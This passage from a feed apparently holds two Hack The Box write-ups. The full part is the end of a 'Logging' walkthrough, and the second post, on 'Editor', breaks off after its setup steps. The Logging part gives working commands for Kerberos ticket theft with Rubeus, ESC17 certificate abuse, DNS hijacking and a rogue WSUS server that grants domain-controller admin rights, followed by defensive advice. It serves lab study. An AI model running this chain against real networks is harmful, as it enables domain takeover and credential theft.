templates<br>[*] Found 1 certificate authority<br>[*] Found 12 enabled certificate templates<br>[*] Found 15 issuance policies</pre><ul><li>Although the enumeration reports a temporary failure while connecting to the Remote Registry service, Certipy automatically retries the operation and successfully retrieves the Certificate Authority configuration:</li></ul><pre>[*] Successfully retrieved CA configuration for &#39;logging-DC01-CA&#39;</pre><ul><li>At the end of the enumeration, Certipy stores its findings in both text and JSON formats:</li></ul><pre>[*] Wrote text output to &#39;20260725163425_Certipy.txt&#39;<br>[*] Wrote JSON output to &#39;20260725163425_Certipy.json&#39;</pre><ul><li>The generated JSON file contains information in a structured format, making it considerably easier to automate the discovery of interesting enrollment rights.</li><li>Rather than manually reviewing every template, a filtering script is used to identify templates whose enrollment permissions deviate from Microsoft’s default recommendations.</li></ul><h4>Preparing the Enrollment Filter</h4><ul><li>The filtering script is downloaded from GitHub:</li></ul><pre>wget https://raw.githubusercontent.com/IgnatiusRitu/Certipy-Enrollments-Filter/refs/heads/main/certipy_enrollment_filter.sh</pre><ul><li>After downloading, execution permissions are added:</li></ul><pre>chmod +x certipy_enrollment_filter.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BacVtO7AawB7JxZnJjlbkQ.png" /><figcaption>Downloading &amp; Preparing the Abnormal Certificate Enrollment Filter Script</figcaption></figure><ul><li>With the script ready, the Certipy JSON report can now be analyzed.</li></ul><h4>Identifying Interesting Certificate Templates</h4><ul><li>The enumeration script is executed against the generated JSON file:</li></ul><pre>./certipy_enrollment_filter.sh -f 20260724175822_Certipy.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60qEqC80GOQTi-EalnN3RA.png" /><figcaption>Executing the Abnormal Certificate Enrollment Filter Script</figcaption></figure><ul><li>The output highlights certificate templates whose enrollment permissions appear unusual.</li><li>Among the results, one template immediately stands out: Template Name UpdateSrv</li><li>The script reports the following enrollment rights:</li></ul><pre>• LOGGING.HTB\IT<br>  • LOGGING.HTB\Domain Admins<br>  • LOGGING.HTB\Enterprise Admins</pre><ul><li>More importantly, it identifies an abnormal enrollment permission:</li></ul><pre>Abnormal Enrollment Rights:<br>  • LOGGING.HTB\IT</pre><ul><li>This finding aligns perfectly with the BloodHound analysis performed earlier.</li></ul><p>During the previous engagement, it was established that:</p><ul><li>jaylee.clifton is a member of the <strong>IT</strong> group.</li><li>Members of <strong>IT</strong> are permitted to enroll using the <strong>UpdateSrv</strong> certificate template.</li><li>The independent confirmation provided by the enumeration script increases confidence that this template deserves further investigation.</li><li>Under normal circumstances, highly privileged certificate templates are restricted to administrators or other trusted accounts.</li><li>Granting enrollment rights to a departmental group such as <strong>IT</strong> is unusual.</li><li>This does not automatically make the template vulnerable. Many legitimate enterprise environments delegate certificate enrollment to operational teams.</li><li>However, whenever a non-administrative group is granted enrollment rights over a certificate template, the template’s configuration should be examined carefully.</li></ul><h4>Attempting Native Vulnerability Enumeration</h4><ul><li>Certipy includes built-in functionality for identifying vulnerable certificate templates.</li><li>To verify whether the tool detects any exploitable configurations automatically, the enumeration is repeated using the <strong>-vulnerable</strong> option with a low-privilege user wallace.everette :</li></ul><pre>certipy-ad find -dc-ip 10.129.245.130 -u wallace.everette@logging.htb -p Welcome2026@ -vulnerable -stdout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Pdydz7SPLeiTDGM-1_tdg.png" /><figcaption>Vulnerable Certificates Enumeration as wallace.everette</figcaption></figure><ul><li>Certipy successfully enumerates the Certificate Authority.</li><li>However, when Certipy reaches the template analysis stage, something unexpected occurs:</li></ul><pre>Certificate Templates                   : [!] Could not find any certificate templates</pre><ul><li>Relying solely on the <strong>-vulnerable</strong> switch would incorrectly suggest that no interesting templates exist.</li><li>Fortunately, the previously generated JSON report contains the complete certificate configuration, allowing manual analysis to continue despite the tool’s inability to classify the template automatically.</li></ul><h3>Enumerating the Vulnerable Certificate Template</h3><ul><li>During the previous phase, both BloodHound and Certipy indicated that members of the <strong>IT</strong> group were permitted to enroll for certificates using the <strong>UpdateSrv</strong> template. However, despite identifying the template, Certipy’s built-in vulnerability detection failed to enumerate its configuration when authenticating as the low-privileged user <strong>wallace.everette</strong>.</li><li>Now that control has been obtained over <strong>jaylee.clifton</strong>, a member of the <strong>IT</strong> group, the situation changes significantly. Rather than relying on LDAP enumeration alone, the objective is to obtain a <strong>Kerberos Ticket Granting Ticket (TGT) </strong>for <strong>jaylee.clifton</strong> and use Kerberos authentication when querying Active Directory Certificate Services.</li><li>Using the account’s own Kerberos credentials provides a more accurate representation of its effective permissions and allows Certipy to enumerate certificate templates that were previously inaccessible.</li></ul><h3>Obtaining a Kerberos Ticket with Rubeus</h3><ul><li>To retrieve the Kerberos ticket, <strong>Rubeus</strong> is downloaded to the attacker’s machine.</li><li>A working directory containing the HTTP server is used:</li></ul><pre>cd www</pre><pre>ls</pre><ul><li>The latest precompiled version of <strong>Rubeus.exe</strong> is downloaded:</li></ul><pre>wget https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe</pre><ul><li>After the download completes, the directory contents are verified:</li></ul><pre>ls</pre><ul><li>The executable type is also confirmed:</li></ul><pre>file Rubeus.exe</pre><ul><li>Once verified, a temporary HTTP server is started so the binary can be transferred to the compromised host:</li></ul><pre>python -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5VnEEYGkPixZCHE4umSwg.png" /><figcaption>Downloading and Hosting Rubeus Executable</figcaption></figure><h4>Transferring Rubeus to the Target</h4><ul><li>Returning to the reverse shell running as <strong>jaylee.clifton</strong>, PowerShell is launched:</li></ul><pre>powershell</pre><ul><li>A writable directory is selected:</li></ul><pre>Set-Location C:\ProgramData</pre><ul><li>The executable is downloaded from the attacker’s web server:</li></ul><pre>wget http://10.10.14.230:8000/Rubeus.exe -o Rubeus.exe</pre><ul><li>Finally, the download is verified:</li></ul><pre>Get-ChildItem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XX4nqhy3z0Ow_nAx2ZdEzQ.png" /><figcaption>Uploading the Rubeus Executable on jaylee.clifton’s shell</figcaption></figure><ul><li>The output confirms that <strong>Rubeus.exe</strong> has been successfully transferred to the target machine.</li></ul><h4>Extracting the Kerberos Ticket</h4><ul><li>With Rubeus available, the <strong>tgtdeleg</strong> functionality is used:</li></ul><pre>./Rubeus.exe tgtdeleg /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAnJr7NxQEx4gwI-vkaqMQ.png" /><figcaption>Extracting the Kerberos Ticket</figcaption></figure><ul><li>Unlike techniques that require elevated privileges to access LSASS memory, <strong>tgtdeleg</strong> abuses Kerberos delegation to request a usable Ticket Granting Ticket (TGT) for the current user without requiring administrator access.</li><li>After execution, Rubeus outputs a Base64-encoded <strong>Kirbi</strong> ticket. The entire encoded ticket is copied from the console.</li></ul><h4>Converting the Ticket</h4><ul><li>Back on the attacker’s machine, the Base64 ticket is saved into a file:</li></ul><pre>vi jaylee.clifton.kirbi.b64</pre><ul><li>The ticket is then decoded and saved into another file:</li></ul><pre>cat jaylee.clifton.kirbi.b64 | base64 -d &gt; jaylee.clifton.kirbi</pre><ul><li>Most Linux Kerberos tooling — including Certipy — expects credentials in <strong>ccache</strong> format rather than Microsoft&#39;s <strong>Kirbi</strong> format.</li><li>Impacket provides a utility that performs this conversion:</li></ul><pre>impacket-ticketConverter jaylee.clifton.kirbi jaylee.clifton.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8mBFndymopIThzwZ-AoQg.png" /><figcaption>Generating a jaylee.clifton ccache file</figcaption></figure><ul><li>At this point, a valid Kerberos credential cache for <strong>jaylee.clifton</strong> is available. Rather than authenticating with a username and password, future tools can authenticate directly using Kerberos.</li></ul><h4>Enumerating Certificate Templates Using Kerberos</h4><ul><li>The generated credential cache is exported through the <strong>KRB5CCNAME</strong> environment variable so that Certipy automatically uses the stored Kerberos ticket:</li></ul><pre>KRB5CCNAME=jaylee.clifton.ccache certipy find  -dc-ip 10.129.245.130 -target DC01.logging.htb -k -vulnerable -stdout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jl9rivxsbgq0uXKr1WGf6g.png" /><figcaption>Vulnerable Certificate Enumeration as jaylee.clifton</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJJEduXtknf8Lh_f-LP4XQ.png" /><figcaption>Vulnerable Certificate Enumeration as jaylee.clifton Cont’</figcaption></figure><ul><li>This time, the results are very different. Instead of failing to enumerate certificate templates, Certipy successfully displays the complete configuration of the <strong>UpdateSrv</strong> template.</li></ul><h4>Analyzing the UpdateSrv Template</h4><ul><li>The template configuration contains several important attributes:</li></ul><pre>Template Name                       : UpdateSrv<br>Enabled                             : True</pre><ul><li>This confirms that the template is currently published by the Certificate Authority and is available for enrollment.</li><li>The enrollment permissions match the earlier BloodHound findings:</li></ul><pre>Enrollment Permissions<br>Enrollment Rights               : LOGGING.HTB\IT<br>                                  LOGGING.HTB\Domain Admins<br>                                  LOGGING.HTB\Enterprise Admins</pre><ul><li>Since <strong>jaylee.clifton</strong> belongs to the <strong>IT</strong> group, the account is authorized to request certificates using this template.</li><li>However, enrollment permissions alone are not sufficient to make a certificate template dangerous. The template’s configuration must also be examined.</li><li>After evaluating the template, Certipy reports a vulnerability:</li></ul><pre>[!] Vulnerabilities<br>      ESC17                             : Enrollee supplies subject and template allows server authentication.<br>    [*] Remarks<br>      ESC17                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.</pre><p>Unlike earlier AD CS attack paths such as <strong>ESC1</strong>, the presence of <strong>ESC17</strong> alone does not automatically guarantee privilege escalation. Successful exploitation depends on additional environmental conditions, such as how the issued certificate is trusted and how it is ultimately consumed by authentication services.</p><p>Nevertheless, the template satisfies the primary characteristics of an <strong>ESC17</strong>-vulnerable configuration:</p><ul><li>Members of the <strong>IT</strong> group are permitted to enroll.</li><li>The requester is allowed to specify the certificate subject.</li><li>Certificates are issued automatically without approval.</li><li>The template supports <strong>Server Authentication</strong>.</li></ul><p>Because <strong>jaylee.clifton</strong> is a legitimate member of the <strong>IT</strong> group, all prerequisites for requesting a certificate from this template have now been satisfied.</p><h3>Exploiting ESC17 to Achieve Domain Compromise</h3><ul><li>The previous phase concluded with the discovery that the <strong>UpdateSrv</strong> certificate template is vulnerable to <strong>ESC17</strong>. Although Certipy successfully identified the misconfiguration, exploitation requires more than simply requesting a certificate. The certificate must ultimately be trusted by a service that performs TLS authentication.</li><li>To understand how the vulnerable certificate might be used, further host enumeration is performed on the compromised <strong>jaylee.clifton</strong> workstation. The objective is to identify applications or infrastructure that rely on certificates matching the <strong>UpdateSrv</strong> template.</li><li>This final stage uncovers a Windows Server Update Services (WSUS) deployment that trusts certificates issued through the vulnerable template. By combining <strong>ESC17</strong>, Active Directory-integrated DNS manipulation, and a WSUS man-in-the-middle attack, it becomes possible to execute arbitrary commands as <strong>SYSTEM</strong> on the Domain Controller, resulting in complete domain compromise.</li></ul><h4>Searching for Additional Documentation</h4><ul><li>Before attempting certificate abuse, the filesystem is searched recursively for any documentation or configuration files that might reveal how the environment is deployed:</li></ul><pre>Get-ChildItem -Recurse</pre><ul><li>Among the discovered files is a directory containing support tickets.</li><li>The investigation continues into the <strong>Documents\Tickets</strong> folder:</li></ul><pre>Set-Location Documents\Tickets</pre><pre>Get-ChildItem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqynUKsLotY44w9L0jaZ2g.png" /><figcaption>Retrieving the Incident Report</figcaption></figure><ul><li>One file immediately stands-out: Incident_4922_WSUS_Remediation_ViewExport.html</li><li>Rather than attempting to download the file directly through the current shell, it is first copied into a location accessible by the previously established <strong>msa_health$</strong> session:</li></ul><pre>copy Incident_4922_WSUS_Remediation_ViewExport.html C:\ProgramData</pre><pre>Get-ChildItem C:\ProgramData</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nxu5hwXVA44rUH7BNzE68g.png" /><figcaption>Copying the Incident Report to ProgramData Directory for Download</figcaption></figure><h4>Retrieving the Incident Report</h4><ul><li>Switching back to the <strong>msa_health$</strong> WinRM session, navigate to the ProgramData directory:</li></ul><pre>Set-Location C:\ProgramData</pre><pre>Get-ChildItem</pre><ul><li>The copied HTML document is now available. It is downloaded to the attacker’s machine:</li></ul><pre>download Incident_4922_WSUS_Remediation_ViewExport.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqqWVVCrXc9FcPRlL5kLEg.png" /><figcaption>Donwloading the Incident Report Locally</figcaption></figure><ul><li>Back on Kali, verify that the download completed successfully:</li></ul><pre>ls</pre><ul><li>The report is then opened in a browser:</li></ul><pre>open Incident_4922_WSUS_Remediation_ViewExport.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWLStCzNcTVNWj11TSC1OA.png" /><figcaption>Viewing the Contents of the Incident Report</figcaption></figure><h4>Discovering the Internal WSUS Server</h4><ul><li>Reviewing the incident report provides an important piece of information that has not appeared elsewhere during the assessment.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aHlPv7m7NEduEKzQ4eDZA.png" /><figcaption>Incident Report</figcaption></figure><ul><li>The documentation references an internal server named: wsus.logging.htb</li><li>This is a significant discovery. The certificate template previously identified is named <strong>UpdateSrv</strong>, suggesting that it was likely created specifically for <strong>Windows Server Update Services</strong>.</li><li>If WSUS authenticates using certificates issued by this template, then controlling DNS resolution for <strong>wsus.logging.htb</strong> could allow an attacker to impersonate the legitimate update server.</li><li>Before pursuing this attack, however, it is necessary to determine whether the current account has sufficient privileges to manipulate Active Directory-integrated DNS.</li></ul><h4>Verifying Writable Active Directory Objects</h4><ul><li>Using the Kerberos credential cache previously extracted from <strong>jaylee.clifton</strong>, BloodyAD is used to enumerate writable Active Directory objects:</li></ul><pre>KRB5CCNAME=jaylee.clifton.ccache bloodyAD --host DC01.logging.htb -d logging.htb -k get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-GXc78dTbrkYPZKG9TyBw.png" /><figcaption>Viewing Writable AD Objects Associated with jaylee.clifton</figcaption></figure><p>The output reveals writable DNS zones:</p><ul><li>The <strong>CREATE_CHILD</strong> permission over the DNS zone allows new DNS records to be created.</li><li>This capability is exactly what is needed to redirect clients toward an attacker-controlled WSUS server.</li></ul><h4>Hijacking the WSUS DNS Record</h4><ul><li>A new DNS record is created for <strong>wsus.logging.htb</strong>, pointing it to the attacker&#39;s VPN address:</li></ul><pre>KRB5CCNAME=jaylee.clifton.ccache bloodyAD --host DC01.logging.htb -d logging.htb -k add dnsRecord &#39;wsus&#39; 10.10.14.230</pre><ul><li>At this point, any system resolving <strong>wsus.logging.htb</strong> through Active Directory-integrated DNS will receive the attacker&#39;s IP address (our IP address).</li><li>The remaining requirement is a certificate trusted for that hostname.</li></ul><h4>Requesting a Certificate</h4><ul><li>Using the vulnerable <strong>UpdateSrv</strong> certificate template identified earlier, a certificate is requested for <strong>wsus.logging.htb</strong>:</li></ul><pre>KRB5CCNAME=jaylee.clifton.ccache certipy-ad req -u jaylee.clifton -k -dc-ip 10.129.245.130 -target DC01.logging.htb -ca logging-DC01-CA -template UpdateSrv -dns wsus.logging.htb</pre><ul><li>The request generates a PKCS#12 certificate bundle: wsus.pfx</li><li>Since the exploitation tool expects a PEM-formatted certificate, the PFX file is converted using OpenSSL:</li></ul><pre>openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes --passin pass:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhLSE3z-iga2e-gjK3HfTA.png" /><figcaption>Creating a Rogue DNS Record and Requesting a Certificate in a .pem format</figcaption></figure><ul><li>The resulting <strong>wsus.pem</strong> file contains both the certificate and its associated private key.</li><li>This certificate will allow the attacker’s server to impersonate the legitimate WSUS server during <strong>TLS </strong>communication.</li></ul><h4>Installing WSUKS</h4><ul><li>To perform the WSUS man-in-the-middle attack, the <strong>WSUKS</strong> tool is installed.</li><li>A dedicated Python virtual environment is created:</li></ul><pre>python -m venv wsuks_env</pre><ul><li>Activate the environment:</li></ul><pre>source wsuks_env/bin/activate</pre><ul><li>Install the required dependencies:</li></ul><pre>sudo apt install pipx python3-nftables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bh9kguWz9FMFX2_PIq3PpA.png" /><figcaption>Installation of WSUK’s dependencies</figcaption></figure><ul><li>Ensure the user’s local binaries are available:</li></ul><pre>pipx ensurepath</pre><ul><li>Install WSUKS:</li></ul><pre>pipx install wsuks --system-site-packages</pre><ul><li>Finally, create a symbolic link so the executable is available system-wide:</li></ul><pre>sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WCuVTh6POhlty1voDi9HpQ.png" /><figcaption>Installation of WSUK Tool</figcaption></figure><h4>Launching the Rogue WSUS Server</h4><ul><li>The objective is simple. When the Domain Controller contacts what it believes is the legitimate WSUS server, it should instead connect to the attacker’s server.</li><li>Rather than distributing a software update, WSUKS is instructed to execute a command that adds <strong>wallace.everette</strong> to the local <strong>Administrators</strong> group.</li><li>The rogue WSUS server is started:</li></ul><pre>sudo wsuks -t DC01.logging.htb --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 --serve-only -c &#39;/accepteula /s cmd /k &quot;net localgroup administrators /add wallace.everette&quot;&#39;</pre><ul><li>Initially, the tool reports that it cannot resolve <strong>wsus.logging.htb</strong>.</li><li>This occurs because the attacker’s own machine is not using Active Directory DNS.</li></ul><h4>Updating the Local Hosts File</h4><ul><li>The local hosts file is inspected:</li></ul><pre>cat /etc/hosts</pre><ul><li>A new entry mapping <strong>wsus.logging.htb</strong> to the attacker&#39;s IP address is added:</li></ul><pre>sudo vi /etc/hosts</pre><ul><li>The modification is verified:</li></ul><pre>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WTJPuYwm6-KsHJ9icyF70A.png" /><figcaption>Resolving DNS Resolution Error with the WSUKS Tool</figcaption></figure><ul><li>With name resolution corrected locally, WSUKS is started again:</li></ul><pre>sudo wsuks -t DC01.logging.htb --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 --serve-only -c &#39;/accepteula /s cmd /k &quot;net localgroup administrators /add wallace.everette&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTAezTv6OQq48teNwtBnQA.png" /><figcaption>Running WSUKS Tool</figcaption></figure><ul><li>This time the rogue server initializes successfully.</li><li>It begins serving the malicious update:</li></ul><pre>[*] Using TLS certificate &#39;wsus.pem&#39; for HTTPS WSUS Server<br>[*] Starting WSUS Server on 10.10.14.230:8531...<br>[*] Serving executable as KB: 6851547</pre><ul><li>Moments later, incoming requests begin appearing:</li></ul><pre>[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: &quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig&quot;<br>[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: &quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie&quot;<br>[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: &quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates&quot;<br>[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: &quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo&quot;</pre><ul><li>Finally, the target downloads the payload:</li></ul><pre>[+] Received GET request: /92accfaf-30c4-48eb-a00e-b6c6f5fd9dc0/PsExec64.exe<br>[+] GET request for exe: /92accfaf-30c4-48eb-a00e-b6c6f5fd9dc0/PsExec64.exe</pre><ul><li>This confirms that the Domain Controller has accepted the rogue WSUS server as legitimate and has begun processing the malicious update.</li><li>Although WSUKS reports several runtime errors afterwards, the exploitation has already completed successfully.</li></ul><h4>Verifying Administrative Access</h4><ul><li>Instead of relying solely on WSUKS output, the attack is verified independently.</li><li>SMB authentication is tested using the original <strong>wallace.everette</strong> credentials:</li></ul><pre>nxc smb DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39;</pre><ul><li>The result is immediate (Pwn3d!)</li><li>This indicates that the account now possesses local administrative privileges on the Domain Controller.</li><li>WinRM authentication confirms the same result.</li></ul><pre>nxc winrm DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39;</pre><ul><li>Again, NetExec reports (Pwn3d!)</li><li>The attack has <strong><em>succeeded</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcOYj8YGQOMxpCSf_tMK4w.png" /><figcaption>SMB and WinRM Authentication Confirmation for the now-privileged User wallace.everette</figcaption></figure><h4>Logging in as an Administrator</h4><ul><li>With administrative rights now assigned, a new WinRM session is established:</li></ul><pre>evil-winrm -i 10.129.245.130 -u wallace.everette -p Welcome2026@</pre><ul><li>The current identity is verified:</li></ul><pre>whoami</pre><ul><li>Membership of the local Administrators group confirms the privilege escalation:</li></ul><pre>net localgroup administrators</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cJGq-3Hxbtr8EUsMB1eMmw.png" /><figcaption>Logging as a Local Administrator (wallace.everette)</figcaption></figure><p>The output now includes:</p><pre>Administrator<br>Domain Admins<br>Enterprise Admins<br>toby.brynleigh<br>wallace.everette</pre><ul><li>The original low-privileged user has successfully become a local administrator on the Domain Controller.</li></ul><h4>Capturing the Root Flag</h4><ul><li>Administrative privileges now permit unrestricted access to protected user profiles.</li><li>Navigate to the Domain Administrator’s profile:</li></ul><pre>Set-Location C:\Users\Administrator</pre><ul><li>Enumerate the directories:</li></ul><pre>Get-ChildItem -Recurse</pre><ul><li><strong>Nothing here!</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDsYPf0tDg8-OAOZeA0dOA.png" /><figcaption>Finding the Root Flag in the Administrator’s Directories</figcaption></figure><ul><li>Proceed to the second Domain Administrator’s profile:</li></ul><pre>Set-Location C:\Users\toby.brynleigh</pre><ul><li>Enumerate the directories:</li></ul><pre>Get-ChildItem -Recurse</pre><ul><li>root.txt is located in the Desktop folder</li><li>Finally, Display the root flag:</li></ul><pre>Get-Content Desktop\root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NdBm5gf80nNrYQDrIYNrcw.png" /><figcaption>Root Flag in the toby.brynleigh Desktop Directory</figcaption></figure><h3>Conclusion</h3><p>The <strong>Logging</strong> machine is an excellent demonstration of how attackers rarely rely on a single vulnerability. Instead, they patiently chain together multiple weaknesses, each one providing just enough leverage to reach the next stage until complete compromise becomes inevitable.</p><p>Our attack path looked like this:</p><blockquote><strong><em>Assumed Breach Credential </em></strong>→ <strong><em>LDAP Enumeration → Password Reset Abuse → gMSA Permission Abuse → Managed Service Account Compromise → DLL Hijacking via Update Mechanism → User Shell → AD CS Enumeration → ESC17 Certificate Abuse → WSUS MITM → Local Administrator → Domain Compromise</em></strong></blockquote><p>Individually, none of these issues would necessarily spell disaster. However, when combined, they created a realistic attack path that allowed an unprivileged domain user to eventually gain administrative control over the Domain Controller.</p><p>From a defensive perspective, several improvements would significantly reduce the attack surface:</p><ul><li>Enforce the principle of least privilege and regularly audit delegated Active Directory permissions.</li><li>Carefully review GenericWrite, GenericAll, WriteDACL, and similar object control permissions using tools such as BloodHound.</li><li>Restrict who can modify the <strong>PrincipalsAllowedToRetrieveManagedPassword</strong> attribute for Group Managed Service Accounts.</li><li>Secure scheduled tasks and software update mechanisms by validating update packages and digitally signing executable content.</li><li>Harden Active Directory Certificate Services by auditing certificate templates for dangerous enrollment configurations such as ESC17.</li><li>Properly secure WSUS deployments using certificate pinning, trusted server validation, and network segmentation to prevent update spoofing.</li><li>Regularly review privileged group memberships and remove unnecessary administrative access.</li><li>Continuously monitor Active Directory for unusual permission changes, certificate enrollments, DNS modifications, and privilege escalation events.</li></ul><p>Perhaps the biggest lesson from this machine is that <strong>enumeration is often more valuable than exploitation</strong>. Every major breakthrough came from observing something that initially appeared insignificant — a writable object, an overlooked service account, an unusual scheduled task, a missing DLL, or an unexpected certificate template. Careful observation consistently opened the next door.</p><p>Overall, <strong>Logging</strong> is an outstanding Active Directory challenge that blends multiple modern attack techniques into one coherent exploitation chain. It rewards curiosity, patience, and methodical enumeration while providing valuable insight into how seemingly isolated configuration mistakes can interact to produce catastrophic security consequences.</p><p>Thanks for following along — I hope this walkthrough was as enjoyable to read as it was to solve.</p><p><strong>¡Hasta luego, y recuerda: los administradores duermen… pero BloodHound nunca! 🇪🇸🍻</strong></p><h3>References</h3><ul><li><a href="https://github.com/g0h4n/RustHound-CE">RustHound-CE Official Repository</a></li><li><a href="https://github.com/g0h4n/RustHound-CE/blob/main/HELP.md#required-dependencies">RustHound-CE Required Dependencies</a></li><li><a href="https://github.com/SpecterOps/BloodHound/blob/main/examples/docker-compose/README.md">BloodHound Docker Compose Guide</a></li><li><a href="https://github.com/CravateRouge/bloodyAD/issues/117">BloodyAD Issue #117 — gMSA Group Membership Discussion</a></li><li><a href="https://github.com/NeffIsBack/esc17-wiki">ESC17 Wiki</a></li><li><a href="https://mustafanafizdurukan.github.io/posts/esc17-wsus-dns-abuse/">ESC17 — WSUS DNS Abuse Walkthrough</a></li><li><a href="https://github.com/NeffIsBack/wsuks">WSUKS Installation Guide</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dac81086f52a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Editor Writeup]]></title>
            <link>https://medium.com/@natius/htb-editor-writeup-a93292e61cae?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a93292e61cae</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 07:51:16 GMT</pubDate>
            <atom:updated>2025-12-10T08:53:58.391Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*hblDM2DBGQ6uDmkA0DjMdw.jpeg" /><figcaption>Editor Machine</figcaption></figure><p>The <strong><em>Editor</em></strong> machine is a <em>Linux</em> host, running a web-based code editor alongside documentation powered by <em>XWiki</em>. XWiki integrates <em>Apache Solr</em> for search functionality, and in this deployment, an <strong>outdated and misconfigured version</strong> leaves the system exposed to <strong>unauthenticated server-side Groovy script injection</strong>. By leveraging this vulnerability, it becomes possible to <strong>execute arbitrary code remotely</strong> and obtain a shell on the server. From there, <strong>plaintext database credentials</strong> found in <em>XWiki’s Hibernate configuration</em> allow pivoting to a local user who reuses the same password. Further enumeration reveals an older <em>NetData</em> installation containing a vulnerable <strong>SetUID</strong> ndsudo binary susceptible to <strong>PATH injection</strong>. Exploiting this flaw provides full <strong>root access</strong>, completing the compromise chain.</p><h3>About Editor</h3><ul><li><strong>OS</strong>: <em>Linux</em></li><li><strong>Difficulty</strong>: <em>Easy</em></li><li><strong>Release Date</strong>: <em>02 Aug, 2025</em></li></ul><h3>Environment Setup and Connectivity Verification</h3><ul><li>Create the project workspace:</li></ul><pre>mkdir -p ~/HTB/Editor &amp;&amp; cd ~/HTB/Editor</pre><ul><li>Verify the target host’s availability:</li></ul><pre>ping -c3 10.10.11.80</pre><ul><li>Check the VPN tunnel interface IP address:</li></ul><pre>ifconfig tun0</pre><figure><img alt="" 